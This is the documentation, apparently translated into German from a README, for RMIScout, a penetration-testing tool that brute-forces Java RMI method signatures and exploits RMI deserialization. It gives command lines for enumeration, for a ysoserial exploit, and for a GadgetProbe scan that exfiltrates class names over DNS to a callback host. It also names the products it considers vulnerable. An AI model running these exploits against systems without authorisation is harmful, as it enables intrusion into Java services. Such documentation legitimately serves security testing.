
RMIScout verwendet Wortlisten- und Brute-Force-Strategien, um Java-RMI-Funktionen aufzulisten und Schwachstellen im RMI-Parameter-Unmarshalling auszunutzen
RMIScout ermöglicht Wortlisten- und Brute-Force-Angriffe auf exponierte Java-RMI-Schnittstellen, um Methodensignaturen sicher zu erraten, ohne sie aufzurufen. Es unterstützt mehrere Java-RMI-Protokolle, Methodenaufrufe und Exploitation.
Um RMI-Funktionen zu identifizieren, aber nicht auszuführen, verwendet RMIScout Low-Level-RMI-Netzwerkfunktionen und dynamische Klassengenerierung, um RMI-Aufrufe mit absichtlich nicht übereinstimmenden Typen zu senden und entfernte Ausnahmen auszulösen. Alle Parameter werden durch eine dynamisch generierte serialisierbare Klasse mit einem 255 Zeichen langen Namen ersetzt, von der angenommen wird, dass sie im entfernten Klassenpfad nicht existiert. Zum Beispiel:
Entfernte Schnittstelle:
void login(String user, String password)
RMIScout wird aufrufen:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
Wenn die Klasse vorhanden ist, führt dies zu einer entfernten java.rmi.UnmarshalException, verursacht durch die ClassNotFoundException oder einen Argument-Entmarshalling-Fehler, ohne die zugrundeliegende Methode aufzurufen.
Für detailliertere technische Ausführungen:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Geben Sie eine Wortliste mit Methodenprototypen an, die auf dem entfernten Server überprüft werden sollen. RMIScout gibt alle gefundenen Übereinstimmungen aus.
Für RMI-IIOP/CORBA: Sofern Methoden nicht überladen sind, erfordern Brute-Forcing und Aufruf nur übereinstimmende Namen (alle anderen Informationen werden ignoriert).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Geben Sie eine Wortliste mit Kandidaten-Methodennamen an, gefolgt von einer kommagetrennten Liste möglicher Rückgabetypen, eines Zahlenbereichs für die Parameteranzahl und möglicher Parametertypen. Der Brute-Force-Modus erzeugt die Permutationen und sucht nach übereinstimmenden Signaturen.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
Bei falsch konfigurierten Servern kann jede bekannte RMI-Signatur, die nicht-primitive Typen verwendet (z. B. java.util.List), ausgenutzt werden, indem das Objekt durch eine serialisierte Nutzlast ersetzt wird. Dies ist eine ziemlich häufige Fehlkonfiguration (z. B. VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server und Gemfire, Apache Karaf + Cassandra), wie in An Trinhs 2019 Blackhat EU Vortrag hervorgehoben.
RMIScout integriert ysoserial, um Deserialisierungsangriffe gegen Dienste durchzuführen, die prozessweite Serialisierungsfilter falsch konfigurieren (JEP 290).
Beispiele für ausnutzbare Signaturen:
void exampleMethod(java.util.Map a) // Any non-primitive types
void exampleMethod(float[] a) // Any type of array, even primitives
void exampleMethod(String a) // Works on older JDKs, see below...
Hinweis: Signaturen, die java.lang.String-Typen enthalten, sind in RMI-JRMP nur in JRE 8/11/13/14 Versionen vor Anfang 2020 ausnutzbar, in RMI-IIOP jedoch weiterhin ausnutzbar.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout ermöglicht es Ihnen, beliebige Signaturen mit primitiven Typen, primitiven Arrays oder Zeichenketten aufzurufen. Komplexere Typen erfordern das Schreiben eines benutzerdefinierten Clients.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout integriert GadgetProbe zur Identifizierung von Klassen im entfernten Klassenpfad. Klassennamen werden über DNS exfiltriert.
Verwenden Sie das enthaltene Skript rmiscout.sh, um das Projekt automatisch zu bauen und als praktischen Wrapper um die java -jar-Syntax:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternativ kann das Projekt manuell gebaut und die traditionelle java -jar-Syntax verwendet werden:
# Manuell JAR bauen
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>